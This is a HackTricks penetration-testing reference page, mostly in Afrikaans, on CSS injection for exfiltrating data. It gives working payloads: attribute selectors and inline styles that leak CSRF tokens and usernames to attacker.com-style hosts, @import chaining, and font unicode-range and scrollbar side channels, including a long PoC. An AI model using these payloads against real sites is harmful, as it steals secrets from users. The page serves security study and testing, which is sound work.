CSS Injection

Tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks

CSS Injection

LESS Code Injection

LESS is ’n gewilde CSS pre-processor wat variables, mixins, functions en die kragtige @import-directive byvoeg. Tydens kompilasie sal die LESS-enjin die hulpbronne wat in @import verwys word, aflaai en hul inhoud in die resulterende CSS inbed (“inline”) wanneer die (inline) opsie gebruik word.

{{#ref}} less-code-injection.md {{/ref}}

Attribuutselekteerder

CSS selectors word opgestel om waardes te pas van ’n input-element se name en value attributes. As die input-element se value attribute begin met ’n spesifieke karakter, word ’n vooraf gedefinieerde eksterne hulpbron gelaai:

input[name="csrf"][value^="a"] {
background-image: url(https://attacker.com/exfil/a);
}
input[name="csrf"][value^="b"] {
background-image: url(https://attacker.com/exfil/b);
}
/* ... */
input[name="csrf"][value^="9"] {
background-image: url(https://attacker.com/exfil/9);
}

Hierdie benadering stuit egter op ’n beperking wanneer dit kom by verborge input-elemente (type=“hidden”) omdat verborge elemente nie agtergronde laai nie.

Omseiling vir verborge elemente

Om hierdie beperking te omseil, kan jy ’n daaropvolgende sibling-element teiken deur die ~ general sibling combinator te gebruik. Die CSS-reël word dan op alle sibling-elemente wat op die verborge input-element volg toegepas, wat veroorsaak dat die agtergrondbeeld gelaai word:

input[name="csrf"][value^="csrF"] ~ * {
background-image: url(https://attacker.com/exfil/csrF);
}

’n Praktiese voorbeeld van die uitbuiting van hierdie tegniek word in die verskafde kodefragment uiteengesit. Jy kan dit hier sien.

Voorvereistes vir CSS Injection

Vir die CSS Injection-tegniek om effektief te wees, moet sekere voorwaardes vervul word:

  1. Payload Length: Die CSS injection-vektor moet voldoende lang payloads ondersteun om die gekonstrueerde selectors te akkommodeer.
  2. CSS Re-evaluation: Jy moet die vermoë hê om die bladsy te frame, wat nodig is om die her-evaluering van CSS met nuut gegenereerde payloads te trigger.
  3. External Resources: Die tegniek gaan daarvan uit dat jy eksterne gehoste beelde kan gebruik. Dit kan deur die site se Content Security Policy (CSP) beperk word.

Blind Attribute Selector

Soos soos in hierdie pos verduidelik, dit is moontlik om die selectors :has en :not te kombineer om inhoud te identifiseer selfs van blinde elemente. Dit is baie nuttig wanneer jy geen idee het wat binne die webbladsy is wat die CSS injection laai nie.
Dit is ook moontlik om daardie selectors te gebruik om inligting uit verskeie blokke van dieselfde tipe te onttrek soos in:

<style>
html:has(input[name^="m"]):not(input[name="mytoken"]) {
background: url(/m);
}
</style>
<input name="mytoken" value="1337" />
<input name="myname" value="gareth" />

Deur dit te kombineer met die volgende @import tegniek, is dit moontlik om baie inligting deur CSS injection vanaf blind pages met blind-css-exfiltration.

@import

Die vorige tegniek het ’n paar nadele, kyk na die prerequisites. Jy moet óf in staat wees om meerdere skakels na die slagoffer te stuur, óf jy moet die CSS injection kwesbare bladsy in ’n iframe kan laai.

Daar is egter nog ’n slim tegniek wat CSS @import gebruik om die kwaliteit van die metode te verbeter.

Dit is eers getoon deur Pepe Vila en dit werk soos volg:

In plaas daarvan om dieselfde bladsy telkens weer te laai met tien(s) van verskillende payloads elke keer (soos in die vorige voorbeeld), gaan ons die bladsy net een keer laai en slegs met ’n import na die aanvaller se server (dit is die payload wat aan die slagoffer gestuur word):

@import url("//attacker.com:5001/start?");
  1. Die import gaan ’n CSS-skrip ontvang van die aanvallers en die blaaier sal dit laai.
  2. Die eerste deel van die CSS-skrip wat die aanvaller stuur is another @import to the attackers server again.
  3. Die aanvaller se server sal nog nie op hierdie versoek reageer nie, want ons wil eers ’n paar karakters leak en dan op hierdie import reageer met die payload om die volgende te leak.
  4. Die tweede en groter deel van die payload gaan ’n attribute selector leakage payload wees
  5. Dit sal na die aanvaller se server stuur die eerste karakter van die geheim en die laaste een
  6. Sodra die aanvaller se server die eerste en laaste karakter van die geheim ontvang het, sal dit op die import wat in stap 2 versoek is reageer.
  7. Die antwoord gaan presies dieselfde wees as die steps 2, 3 and 4, maar hierdie keer sal dit probeer om die tweede karakter van die geheim en dan die voorlaaste te vind.

Die aanvaller sal daardie lus volg totdat dit daarin slaag om die geheim heeltemal te leak.

You can find the original Pepe Vila’s code to exploit this here or you can find almost the same code but commented here.

Tip

Die skrip sal probeer om elke keer 2 karakters te ontdek (vanaf die begin en vanaf die einde) omdat die attribute selector dinge toelaat soos:

css /* value^= to match the beggining of the value*/ input[value^=“0”] { –s0: url(http://localhost:5001/leak?pre=0); }

/* value$= to match the ending of the value*/ input[value$=“f”] { –e0: url(http://localhost:5001/leak?post=f); }

Dit laat die skrip toe om die geheim vinniger te leak.

Warning

Soms detecteer die skrip nie korrek dat die ontdekte prefix + suffix reeds die volledige flag is nie en dit sal vorentoe voortgaan (in die prefix) en agtertoe (in die suffix) en op ’n stadium sal dit vasloop.
Moenie bekommerd wees nie, kyk net na die uitset omdat jy die flag daar kan sien.

Inline-Style CSS Exfiltration (attr() + if() + image-set())

Hierdie primitive maak exfiltration moontlik deur slegs ’n element se inline style-attribuut te gebruik, sonder selectors of eksterne stylesheets. Dit berus op CSS custom properties, die attr() funksie om dieselfde-element attributes te lees, die nuwe CSS if() conditionals vir branching, en image-set() om ’n netwerkversoek te aktiveer wat die ooreenstemmende waarde enkodeer.

Warning

Gelykheidsvergelykings in if() vereis dubbele aanhalingstekens vir string-literale. Enkel aanhalingstekens sal nie pas nie.

  • Sink: beheer ’n element se style-attribuut en verseker dat die teiken-attribuut op dieselfde element is (attr() reads only same-element attributes).
  • Read: kopieer die attribuut in ’n CSS-variabele: –val: attr(title).
  • Decide: kies ’n URL deur geneste conditionals te gebruik wat die veranderlike met stringkandidate vergelyk: –steal: if(style(–val:“1”): url(//attacker/1); else: url(//attacker/2)).
  • Exfiltrate: pas background: image-set(var(–steal)) (of enige fetching property) toe om ’n versoek na die gekose endpoint te dwing.

Poging (werk nie; enkel aanhalingstekens in vergelyking):

<div style="--val:attr(title);--steal:if(style(--val:'1'): url(/1); else: url(/2));background:image-set(var(--steal))" title=1>test</div>

Werkende payload (dubbele aanhalingstekens benodig in die vergelyking):

<div style='--val:attr(title);--steal:if(style(--val:"1"): url(/1); else: url(/2));background:image-set(var(--steal))' title=1>test</div>

Opnoem van attribuutwaardes met geneste voorwaardes:

<div style='--val: attr(data-uid); --steal: if(style(--val:"1"): url(/1); else: if(style(--val:"2"): url(/2); else: if(style(--val:"3"): url(/3); else: if(style(--val:"4"): url(/4); else: if(style(--val:"5"): url(/5); else: if(style(--val:"6"): url(/6); else: if(style(--val:"7"): url(/7); else: if(style(--val:"8"): url(/8); else: if(style(--val:"9"): url(/9); else: url(/10)))))))))); background: image-set(var(--steal));' data-uid='1'></div>

Realistiese demo (ondersoek gebruikersname):

<div style='--val: attr(data-username); --steal: if(style(--val:"martin"): url(https://attacker.tld/martin); else: if(style(--val:"zak"): url(https://attacker.tld/zak); else: url(https://attacker.tld/james))); background: image-set(var(--steal));' data-username="james"></div>

Notes and limitations:

  • Werk op Chromium-gebaseerde browsers ten tyde van navorsing; gedrag kan op ander engines verskil.
  • Die beste geskik vir eindige/enumereerbare waarderuimtes (IDs, flags, kort gebruikersname). Om arbitrêr lang strings sonder eksterne stylesheets te steel bly uitdagend.
  • Enige CSS-eiendom wat ’n URL haal kan gebruik word om die versoek te aktiveer (bv. background/image-set, border-image, list-style, cursor, content).

Automation: a Burp Custom Action can generate nested inline-style payloads to brute-force attribute values: https://github.com/PortSwigger/bambdas/blob/main/CustomAction/InlineStyleAttributeStealer.bambda

Other selectors

Other ways to access DOM parts with CSS selectors:

  • .class-to-search:nth-child(2): Dit sal in die DOM die tweede item met die klas “class-to-search” soek.
  • :empty selector: Byvoorbeeld gebruik in this writeup:

css [role^=“img”][aria-label=“1”]:empty { background-image: url(“YOUR_SERVER_URL?1”); }

Reference: CSS based Attack: Abusing unicode-range of @font-face , Error-Based XS-Search PoC by @terjanq

Die algehele bedoeling is om ’n aangepaste lettertipe vanaf ’n beheerde eindpunt te gebruik en te verseker dat teks (in hierdie geval, ‘A’) met hierdie lettertipe vertoon word slegs indien die gespesifiseerde hulpbron (favicon.ico) nie gelaai kan word nie.

<!DOCTYPE html>
<html>
<head>
<style>
@font-face {
font-family: poc;
src: url(http://attacker.com/?leak);
unicode-range: U+0041;
}

#poc0 {
font-family: "poc";
}
</style>
</head>
<body>
<object id="poc0" data="http://192.168.0.1/favicon.ico">A</object>
</body>
</html>
  1. Gebruik van Aangepaste Lettertipe:
  • ’n Aangepaste lettertipe word gedefinieer met die @font-face reël binne ’n
  • Die lettertipe is genaamd poc en word gehaal vanaf ’n eksterne endpoint (http://attacker.com/?leak).
  • Die unicode-range property is gestel op U+0041, wat die spesifieke Unicode-karakter ‘A’ teiken.
  1. Object-element met Fallback-tekst:
  • ’n element met id=“poc0” word geskep in die afdeling. Hierdie element probeer ’n resource van http://192.168.0.1/favicon.ico laai.
  • Die font-family vir hierdie element is op ‘poc’ gestel, soos in die
  • As die resource (favicon.ico) nie kan laai nie, word die fallback-inhoud (die letter ‘A’) binne die tag vertoon.
  • Die fallback-inhoud (‘A’) sal met die aangepaste lettertipe poc gerender word as die eksterne resource nie gelaai kan word nie.

Stylering van Scroll-to-Text fragment

Die :target pseudo-class word gebruik om ’n element te kies wat deur ’n URL fragment geteiken is, soos gespesifiseer in die CSS Selectors Level 4 specification. Dit is belangrik om te verstaan dat ::target-text nie enige elemente pas nie tensy die teks eksplisiet deur die fragment geteiken word.

’n Sekuriteitskwessie ontstaan wanneer attackers die Scroll-to-text fragment funksie uitbuit, wat hulle toelaat om die teenwoordigheid van spesifieke teks op ’n webblad te bevestig deur ’n resource vanaf hul server te laai via HTML injection. Die metode behels die inspuiting van ’n CSS reël soos hierdie:

:target::before {
content: url(target.png);
}

In sulke scenario’s, indien die teks “Administrator” op die bladsy teenwoordig is, word die hulpbron target.png van die bediener aangevra, wat die teenwoordigheid van die teks aandui. ’n Voorbeeld van hierdie aanval kan uitgevoer word deur ’n spesiaal opgestelde URL wat die ingespuite CSS saam met ’n Scroll-to-text fragment insluit:

http://127.0.0.1:8081/poc1.php?note=%3Cstyle%3E:target::before%20{%20content%20:%20url(http://attackers-domain/?confirmed_existence_of_Administrator_username)%20}%3C/style%3E#:~:text=Administrator

Hier manipuleer die aanval HTML injection om die CSS-kode oor te dra, gerig op die spesifieke teks “Administrator” deur die Scroll-to-text fragment (#:~:text=Administrator). As die teks gevind word, word die aangeduide resource gelaai, wat per ongeluk sy teenwoordigheid aan die attacker openbaar.

Vir mitigasie moet die volgende punte in ag geneem word:

  1. Beperkte STTF-pas: Scroll-to-text Fragment (STTF) is ontwerp om slegs woorde of sinne te pas, en beperk dus sy vermoë om ewekansige geheime of tokens te leak.
  2. Beperking tot top-level browsing contexts: STTF werk slegs in top-level browsing contexts en funksioneer nie binne iframes nie, wat enige exploitation-poging meer sigbaar vir die gebruiker maak.
  3. Noodsaaklikheid van user activation: STTF vereis ’n user-activation gesture om te funksioneer, wat beteken dat exploitations slegs deur user-initiated navigations uitvoerbaar is. Hierdie vereiste verminder die risiko dat attacks geautomatiseer sonder gebruikersinteraksie sal plaasvind. Nietemin wys die outeur van die blogpost op spesifieke toestande en bypasses (bv. social engineering, interaksie met veel gebruikte browser extensions) wat die automatisering van die aanval kan vergemaklik.

Bewustheid van hierdie meganismes en potensiële kwesbaarhede is sleutel tot die instandhouding van web security en die beskerming teen sulke exploitative tactics.

Vir meer inligting sien die oorspronklike verslag: https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/

Jy kan ’n exploit using this technique for a CTF here nagaan.

@font-face / unicode-range

Jy kan spesifiseer eksterne fonts vir spesifieke unicode waardes wat slegs ingesamel sal word as daardie unicode waardes op die bladsy teenwoordig is. Byvoorbeeld:

<style>
@font-face {
font-family: poc;
src: url(http://attacker.example.com/?A); /* fetched */
unicode-range: U+0041;
}
@font-face {
font-family: poc;
src: url(http://attacker.example.com/?B); /* fetched too */
unicode-range: U+0042;
}
@font-face {
font-family: poc;
src: url(http://attacker.example.com/?C); /* not fetched */
unicode-range: U+0043;
}
#sensitive-information {
font-family: poc;
}
</style>

<p id="sensitive-information">AB</p>
htm

Wanneer jy hierdie bladsy besoek, haal Chrome en Firefox “?A” en “?B” omdat die teksnode van sensitive-information die karakters “A” en “B” bevat. Maar Chrome en Firefox laai nie “?C” nie omdat dit nie “C” bevat. Dit beteken dat ons daarin geslaag het om “A” en “B” te lees.

Text node exfiltration (I): ligatures

Reference: Wykradanie danych w świetnym stylu – czyli jak wykorzystać CSS-y do ataków na webaplikację

Die beskryfde tegniek behels die onttrekking van teks uit ’n node deur font ligatures te misbruik en wysigings in breedte te monitor. Die proses bestaan uit verskeie stappe:

  1. Creation of Custom Fonts:
  • SVG fonts word geskep met glyphs wat ’n horiz-adv-x attribuut het, wat ’n groot breedte vir ’n glyph wat ’n twee-karakter sekwensie voorstel, instel.
  • Voorbeeld SVG glyph: , waar “XY” ’n twee-karakter sekwensie aandui.
  • Hierdie fonts word dan na woff-formaat omgeskakel met fontforge.
  1. Detection of Width Changes:
  • CSS word gebruik om te verseker dat teks nie omslaan nie (white-space: nowrap) en om die scrollbar-styl aan te pas.
  • Die verskyning van ’n horisontale scrollbar, opvallend gestileer, dien as ’n indikator (oracle) dat ’n spesifieke ligature, en gevolglik ’n spesifieke karaktersekwensie, in die teks teenwoordig is.
  • Die betrokke CSS: css body { white-space: nowrap; } body::-webkit-scrollbar { background: blue; } body::-webkit-scrollbar:horizontal { background: url(http://attacker.com/?leak); }
  1. Exploit Process:
  • Step 1: Fonts word geskep vir pare van karakters met beduidende breedte.
  • Step 2: ’n scrollbar-gebaseerde truuk word gebruik om te detecteer wanneer die groot-breedte glyph (ligature vir ’n karakterpaar) gerender word, wat aandui dat die karaktersekwensie teenwoordig is.
  • Step 3: Wanneer ’n ligature gedetecteer word, word nuwe glyphs vir drie-karakter sekwensies gegenereer, wat die gedetecteerde paar insluit en ’n voorafgaande of opvolgende karakter byvoeg.
  • Step 4: Die detectie van die drie-karakter ligature word uitgevoer.
  • Step 5: Die proses herhaal, en onthul stapsgewys die hele teks.
  1. Optimization:
  • Die huidige initialiseringsmetode wat gebruik is nie optimaal nie.
  • ’n Meer doeltreffende benadering kan die CSS @import truuk insluit, wat die exploit se prestasie verbeter.

Text node exfiltration (II): leaking the charset with a default font (not requiring external assets)

Reference: PoC using Comic Sans by @Cgvwzq & @Terjanq

This trick was released in this Slackers thread. Die charset wat in ’n teksnode gebruik word, kan ge-leak word deur die default fonts wat in die blaaier geïnstalleer is: geen eksterne of pasgemaakte fonts is nodig nie.

Die konsep draai om die gebruik van ’n animasie wat stelselmatig ’n div se breedte vergroot, wat toelaat dat een karakter op ’n slag van die ‘suffix’ deel van die teks na die ‘prefix’ deel oorgaan. Hierdie proses split die teks effektief in twee afdelings:

  1. Prefix: Die aanvanklike lyn.
  2. Suffix: Die daaropvolgende lyn(e).

Die oorgangs fases van die karakters sal soos volg verskyn:

C
ADB

CA
DB

CAD
B

CADB

Tydens hierdie oorgang word die unicode-range trick gebruik om elke nuwe karakter te identifiseer soos dit by die prefix aansluit. Dit word bereik deur die font na Comic Sans te skakel, wat merkwaardig hoër as die default font is, en gevolglik ’n vertikale scrollbar veroorsaak. Die voorkoms van hierdie scrollbar openbaar indirek die teenwoordigheid van ’n nuwe karakter in die prefix.

Alhoewel hierdie metode die detectie van unieke karakters soos hulle verskyn toelaat, spesifiseer dit nie watter karakter herhaal word nie, slegs dat ’n herhaling plaasgevind het.

Tip

In wese word die unicode-range gebruik om ’n char te detecteer, maar aangesien ons nie ’n eksterne font wil laai nie, moet ons ’n ander manier vind.
Wanneer die char gevind is, kry dit die vooraf-geïnstalleerde Comic Sans font, wat die char groter maak en ’n scroll bar aktiveer wat die gevonde char sal leak.

Check the code extracted from the PoC:

/* comic sans is high (lol) and causes a vertical overflow */
@font-face {
font-family: has_A;
src: local("Comic Sans MS");
unicode-range: U+41;
font-style: monospace;
}
@font-face {
font-family: has_B;
src: local("Comic Sans MS");
unicode-range: U+42;
font-style: monospace;
}
@font-face {
font-family: has_C;
src: local("Comic Sans MS");
unicode-range: U+43;
font-style: monospace;
}
@font-face {
font-family: has_D;
src: local("Comic Sans MS");
unicode-range: U+44;
font-style: monospace;
}
@font-face {
font-family: has_E;
src: local("Comic Sans MS");
unicode-range: U+45;
font-style: monospace;
}
@font-face {
font-family: has_F;
src: local("Comic Sans MS");
unicode-range: U+46;
font-style: monospace;
}
@font-face {
font-family: has_G;
src: local("Comic Sans MS");
unicode-range: U+47;
font-style: monospace;
}
@font-face {
font-family: has_H;
src: local("Comic Sans MS");
unicode-range: U+48;
font-style: monospace;
}
@font-face {
font-family: has_I;
src: local("Comic Sans MS");
unicode-range: U+49;
font-style: monospace;
}
@font-face {
font-family: has_J;
src: local("Comic Sans MS");
unicode-range: U+4a;
font-style: monospace;
}
@font-face {
font-family: has_K;
src: local("Comic Sans MS");
unicode-range: U+4b;
font-style: monospace;
}
@font-face {
font-family: has_L;
src: local("Comic Sans MS");
unicode-range: U+4c;
font-style: monospace;
}
@font-face {
font-family: has_M;
src: local("Comic Sans MS");
unicode-range: U+4d;
font-style: monospace;
}
@font-face {
font-family: has_N;
src: local("Comic Sans MS");
unicode-range: U+4e;
font-style: monospace;
}
@font-face {
font-family: has_O;
src: local("Comic Sans MS");
unicode-range: U+4f;
font-style: monospace;
}
@font-face {
font-family: has_P;
src: local("Comic Sans MS");
unicode-range: U+50;
font-style: monospace;
}
@font-face {
font-family: has_Q;
src: local("Comic Sans MS");
unicode-range: U+51;
font-style: monospace;
}
@font-face {
font-family: has_R;
src: local("Comic Sans MS");
unicode-range: U+52;
font-style: monospace;
}
@font-face {
font-family: has_S;
src: local("Comic Sans MS");
unicode-range: U+53;
font-style: monospace;
}
@font-face {
font-family: has_T;
src: local("Comic Sans MS");
unicode-range: U+54;
font-style: monospace;
}
@font-face {
font-family: has_U;
src: local("Comic Sans MS");
unicode-range: U+55;
font-style: monospace;
}
@font-face {
font-family: has_V;
src: local("Comic Sans MS");
unicode-range: U+56;
font-style: monospace;
}
@font-face {
font-family: has_W;
src: local("Comic Sans MS");
unicode-range: U+57;
font-style: monospace;
}
@font-face {
font-family: has_X;
src: local("Comic Sans MS");
unicode-range: U+58;
font-style: monospace;
}
@font-face {
font-family: has_Y;
src: local("Comic Sans MS");
unicode-range: U+59;
font-style: monospace;
}
@font-face {
font-family: has_Z;
src: local("Comic Sans MS");
unicode-range: U+5a;
font-style: monospace;
}
@font-face {
font-family: has_0;
src: local("Comic Sans MS");
unicode-range: U+30;
font-style: monospace;
}
@font-face {
font-family: has_1;
src: local("Comic Sans MS");
unicode-range: U+31;
font-style: monospace;
}
@font-face {
font-family: has_2;
src: local("Comic Sans MS");
unicode-range: U+32;
font-style: monospace;
}
@font-face {
font-family: has_3;
src: local("Comic Sans MS");
unicode-range: U+33;
font-style: monospace;
}
@font-face {
font-family: has_4;
src: local("Comic Sans MS");
unicode-range: U+34;
font-style: monospace;
}
@font-face {
font-family: has_5;
src: local("Comic Sans MS");
unicode-range: U+35;
font-style: monospace;
}
@font-face {
font-family: has_6;
src: local("Comic Sans MS");
unicode-range: U+36;
font-style: monospace;
}
@font-face {
font-family: has_7;
src: local("Comic Sans MS");
unicode-range: U+37;
font-style: monospace;
}
@font-face {
font-family: has_8;
src: local("Comic Sans MS");
unicode-range: U+38;
font-style: monospace;
}
@font-face {
font-family: has_9;
src: local("Comic Sans MS");
unicode-range: U+39;
font-style: monospace;
}
@font-face {
font-family: rest;
src: local("Courier New");
font-style: monospace;
unicode-range: U+0-10FFFF;
}

div.leak {
overflow-y: auto; /* leak channel */
overflow-x: hidden; /* remove false positives */
height: 40px; /* comic sans capitals exceed this height */
font-size: 0px; /* make suffix invisible */
letter-spacing: 0px; /* separation */
word-break: break-all; /* small width split words in lines */
font-family: rest; /* default */
background: grey; /* default */
width: 0px; /* initial value */
animation: loop step-end 200s 0s, trychar step-end 2s 0s; /* animations: trychar duration must be 1/100th of loop duration */
animation-iteration-count: 1, infinite; /* single width iteration, repeat trychar one per width increase (or infinite) */
}

div.leak::first-line {
font-size: 30px; /* prefix is visible in first line */
text-transform: uppercase; /* only capital letters leak */
}

/* iterate over all chars */
@keyframes trychar {
0% {
font-family: rest;
} /* delay for width change */
5% {
font-family: has_A, rest;
--leak: url(?a);
}
6% {
font-family: rest;
}
10% {
font-family: has_B, rest;
--leak: url(?b);
}
11% {
font-family: rest;
}
15% {
font-family: has_C, rest;
--leak: url(?c);
}
16% {
font-family: rest;
}
20% {
font-family: has_D, rest;
--leak: url(?d);
}
21% {
font-family: rest;
}
25% {
font-family: has_E, rest;
--leak: url(?e);
}
26% {
font-family: rest;
}
30% {
font-family: has_F, rest;
--leak: url(?f);
}
31% {
font-family: rest;
}
35% {
font-family: has_G, rest;
--leak: url(?g);
}
36% {
font-family: rest;
}
40% {
font-family: has_H, rest;
--leak: url(?h);
}
41% {
font-family: rest;
}
45% {
font-family: has_I, rest;
--leak: url(?i);
}
46% {
font-family: rest;
}
50% {
font-family: has_J, rest;
--leak: url(?j);
}
51% {
font-family: rest;
}
55% {
font-family: has_K, rest;
--leak: url(?k);
}
56% {
font-family: rest;
}
60% {
font-family: has_L, rest;
--leak: url(?l);
}
61% {
font-family: rest;
}
65% {
font-family: has_M, rest;
--leak: url(?m);
}
66% {
font-family: rest;
}
70% {
font-family: has_N, rest;
--leak: url(?n);
}
71% {
font-family: rest;
}
75% {
font-family: has_O, rest;
--leak: url(?o);
}
76% {
font-family: rest;
}
80% {
font-family: has_P, rest;
--leak: url(?p);
}
81% {
font-family: rest;
}
85% {
font-family: has_Q, rest;
--leak: url(?q);
}
86% {
font-family: rest;
}
90% {
font-family: has_R, rest;
--leak: url(?r);
}
91% {
font-family: rest;
}
95% {
font-family: has_S, rest;
--leak: url(?s);
}
96% {
font-family: rest;
}
}

/* increase width char by char, i.e. add new char to prefix */
@keyframes loop {
0% {
width: 0px;
}
1% {
width: 20px;
}
2% {
width: 40px;
}
3% {
width: 60px;
}
4% {
width: 80px;
}
4% {
width: 100px;
}
5% {
width: 120px;
}
6% {
width: 140px;
}
7% {
width: 0px;
}
}

div::-webkit-scrollbar {
background: blue;
}

/* side-channel */
div::-webkit-scrollbar:vertical {
background: blue var(--leak);
}

Text node exfiltration (III): leaking the charset met ’n standaard font deur elemente te versteek (wat nie eksterne assets vereis nie)

Reference: Dit word genoem as an unsuccessful solution in this writeup

Hierdie geval is baie soortgelyk aan die vorige een, maar in hierdie geval is die doel om sekere karakters groter as ander te maak om iets te versteek—soos ’n knoppie sodat die bot dit nie druk nie of ’n beeld wat nie gelaai sal word nie. Ons kan dus die aksie (of die gebrek daaraan) meet en weet of ’n spesifieke karakter in die teks teenwoordig is.

Text node exfiltration (III): leaking the charset deur cache-timing (wat nie eksterne assets vereis nie)

Reference: Dit word genoem as an unsuccessful solution in this writeup

In hierdie geval kan ons probeer om te leak of ’n karakter in die teks is deur ’n vals font vanaf dieselfde oorsprong te laai:

@font-face {
font-family: "A1";
src: url(/static/bootstrap.min.css?q=1);
unicode-range: U+0041;
}

If there is a match, the font will be loaded from /static/bootstrap.min.css?q=1. Although it won’t load successfully, the browser should cache it, and even if there is no cache, there is a 304 not modified mechanism, so the response should be faster than other things.

However, if the time difference of the cached response from the non-cached one isn’t big enough, this won’t be useful. For example, the author mentioned: “Na toetsing het ek gevind dat die eerste probleem is dat die spoed nie veel verskil nie, en die tweede probleem is dat die bot uses the disk-cache-size=1 flag, which is really thoughtful.”

Text node exfiltration (III): leaking the charset by timing loading hundreds of local “fonts” (not requiring external assets)

Verwysing: This is mentioned as an unsuccessful solution in this writeup

In hierdie geval kan jy CSS to load hundreds of fake fonts from the same origin when a match occurs. This way you can measure the time it takes and find out if a char appears or not with something like:

@font-face {
font-family: "A1";
src: url(/static/bootstrap.min.css?q=1), url(/static/bootstrap.min.css?q=2),
.... url(/static/bootstrap.min.css?q=500);
unicode-range: U+0041;
}

En die bot se kode lyk soos volg:

browser.get(url)
WebDriverWait(browser, 30).until(lambda r: r.execute_script('return document.readyState') == 'complete')
time.sleep(30)

So, as die font nie ooreenstem nie, word die reaksietyd wanneer die bot besoek word beraam op ongeveer 30 sekondes. Indien daar egter ’n font-ooreenkoms is, sal verskeie versoeke gestuur word om die font te herlaai, wat veroorsaak dat die netwerk voortdurend aktief bly. Gevolglik sal dit langer neem om aan die stopvoorwaarde te voldoen en die reaksie te ontvang. Daarom kan die reaksietyd gebruik word as ’n indikator om te bepaal of daar ’n font-ooreenkoms is.

Verwysings

Tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks